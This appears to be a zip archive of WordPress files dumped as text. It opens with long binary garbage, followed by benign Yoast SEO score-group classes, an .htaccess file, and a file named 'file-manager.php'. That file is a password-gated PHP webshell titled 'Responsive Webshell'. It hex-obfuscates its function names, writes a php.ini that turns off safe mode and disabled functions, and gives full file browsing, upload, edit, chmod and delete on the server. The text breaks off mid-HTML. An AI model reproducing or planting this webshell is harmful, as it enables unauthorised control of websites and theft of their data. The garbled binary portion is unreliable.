~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! pkz      seo-score-groups/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       !     -  seo-score-groups/abstract-seo-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Abstract_Score_Group;

/**
 * Abstract class for an SEO score group.
 */
abstract class Abstract_SEO_Score_Group extends Abstract_Score_Group implements SEO_Score_Groups_Interface {

	/**
	 * Gets the key of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_key(): string {
		return 'seo_filter';
	}
}
PK       ! Y6  6  (  seo-score-groups/bad-seo-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a bad SEO score group.
 */
class Bad_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'bad';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'bad';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 2;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int|null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 1;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int|null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 40;
	}
}
PK       ! 4<  <  )  seo-score-groups/good-seo-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a good SEO score group.
 */
class Good_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'good';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'good';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 0;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int|null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 71;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int|null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 100;
	}
}
PK       !  h\  \  /  seo-score-groups/seo-score-groups-interface.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;

/**
 * This interface describes an SEO score group implementation.
 */
interface SEO_Score_Groups_Interface extends Score_Groups_Interface {}
PK       ! w8  8  '  seo-score-groups/ok-seo-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes an OK SEO score group.
 */
class Ok_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The the name of the SEO score group.
	 */
	public function get_name(): string {
		return 'ok';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'ok';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 1;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int|null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 41;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int|null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 70;
	}
}
PK       ! E  E  '  seo-score-groups/no-seo-score-group.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a missing SEO score group.
 */
class No_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'notAnalyzed';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'na';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 3;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int|null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return null;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int|null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return null;
	}
}
PK       ! D9V  9V    wp/file-manager.phpnu [        <?php

          /**
            * Responsive Webshell
          **/

$a =   [
        "7068705F756E616D65", # [0]
        "73657373696F6E5F7374617274", # [1]
        "6572726F725F7265706F7274696E67", # [2]
        "70687076657273696F6E", # [3]
        "66696C655F7075745F636F6E74656E7473", # [4]
        "66696C655F6765745F636F6E74656E7473", # [5]
        "66696C657065726D73", # [6]
        "66696C656D74696D65", # [7]
        "66696C6574797065", # [8]
        "68746D6C7370656369616C6368617273", # [9]
        "737072696E7466", # [10]
        "737562737472", # [11]
        "676574637764", # [12]
        "6368646972", # [13]
        "7374725F7265706C616365", # [14]
        "6578706C6F6465", # [15]
        "666C617368", # [16]
        "6D6F76655F75706C6F616465645F66696C65", # [17]
        "7363616E646972", # [18]
        "676574686F737462796E616D65", # [19]
        "7368656C6C5F65786563", # [20]
        "53797374656D20496E666F726D6174696F6E", # [21]
        "6469726E616D65", # [22]
        "64617465", # [23]
        "6D696D655F636F6E74656E745F74797065", # [24]
        "66756E6374696F6E5F657869737473", # [25]
        "6673697A65", # [26]
        "726D646972", # [27]
        "756E6C696E6B", # [28]
        "6D6B646972", # [29]
        "72656E616D65", # [30]
        "7365745F74696D655F6C696D6974", # [31]
        "636C656172737461746361636865", # [32]
        "696E695F736574", # [33]
        "696E695F676574", # [34]
        "6765744F776E6572", # [35]
        "6765745F63757272656E745F75736572" # [36]
    ];

for ($i = 0; $i < count($a); $i++) {
  $f[$i] = hex($a[$i]);
}

$f[1]();
$f[2](0);
$f[31](0);
@$f[32]();
@$f[33]('error_log', null);
@$f[33]('log_errors', 0);
@$f[33]('max_execution_time', 0);
@$f[33]('output_buffering', 0);
@$f[33]('display_errors', 0);

$password = "N@GAHitamDariT@D1";

if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['password'])) {
        if ($_POST['password'] === $password) {
            $_SESSION['authenticated'] = true;
        } else {
            echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Wrong Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
            exit;
        }
    } else {
        echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Enter Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
        exit;
    }
}

$r0 = $_SERVER['DOCUMENT_ROOT'];

# php.ini Auto Create
$b0 = fopen($r0.'/php.ini', 'w');
fwrite($b0, "safe_mode = OFF\ndisable_functions = NONE");
fclose($b0);

$xqv = ""; // blackdragon
  
# LogOut Option
if(isset($_GET["logout"])) {
  session_destroy();
  echo '<script>window.location="?";</script>';
}

function fsize($file) {
  $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  $pos = 0;
  $size = filesize($file);
  while ($size >= 1024) {
    $size /= 1024;
    $pos++;
  }
  return round($size, 2)." ".$a[$pos];
}

function hex($str) {
  $r = "";
  $len = (strlen($str) - 1);
  for ($i = 0; $i < $len; $i += 2) {
    $r .= chr(hexdec($str[$i].$str[$i + 1]));
  }
  return $r;
}

function flash($message, $status, $class, $redirect = false) {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  $_SESSION["message"] = $message;
  $_SESSION["class"] = $class;
  $_SESSION["status"] = $status;
  if ($redirect) {
    header('Location: ' . $redirect);
    exit();
  }
  return true;
}

function clear() {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  return true;
}

if (isset($_GET['dir'])) {
  $path = $_GET['dir'];
  $f[13]($_GET['dir']);
} else {
  $path = $f[12]();
}

$path = $f[14]('\\', '/', $path);
$exdir = $f[15]('/', $path);

function getOwner($item) {
	if (function_exists("posix_getpwuid")) {
		$downer = @posix_getpwuid(fileowner($item));
		$downer = $downer['name'];
	} else {
		$downer = fileowner($item);
	}
	if (function_exists("posix_getgrgid")) {
		$dgrp = @posix_getgrgid(filegroup($item));
		$dgrp = $dgrp['name'];
	} else {
		$dgrp = filegroup($item);
	}
	return $downer . '/' . $dgrp;
}

if (isset($_POST['newFolderName'])) {
  if ($f[29]($path . '/' . $_POST['newFolderName'])) {
    $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) {
    $f[16]("Create File Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create File Failed", "Failed", "error", "?dir=$path");
  }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
  if ($_POST['newName'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
    $f[16]("Rename Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Rename Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
  if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
    $f[16]("Edit Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Edit Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  if ($_POST['newPerm'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
    $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Change Permission", "Failed", "error", "?dir=$path");
  }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  if (is_dir($_GET['item'])) {
    if ($f[27]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  } else {
    if ($f[28]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  }
}
if (isset($_FILES['uploadfile'])) {
  $total = count($_FILES['uploadfile']['name']);
  for ($i = 0; $i < $total; $i++) {
    $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  }
  if ($total < 2) {
    if ($mainupload) {
      $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
  else{
    if ($mainupload) {
      $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
}

$dirs = $f[18]($path);

?>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  <title><?= $_SERVER['SERVER_NAME'] ?>&#58;<?= $_SERVER['SERVER_PORT'] ?></title>
</head>

<body class="bg-dark text-light">
  <div class="container-fluid">
    <div class="py-3" id="main">
      <div class="box shadow bg-dark p-4 rounded-3">
      	<div class="info mb-3">
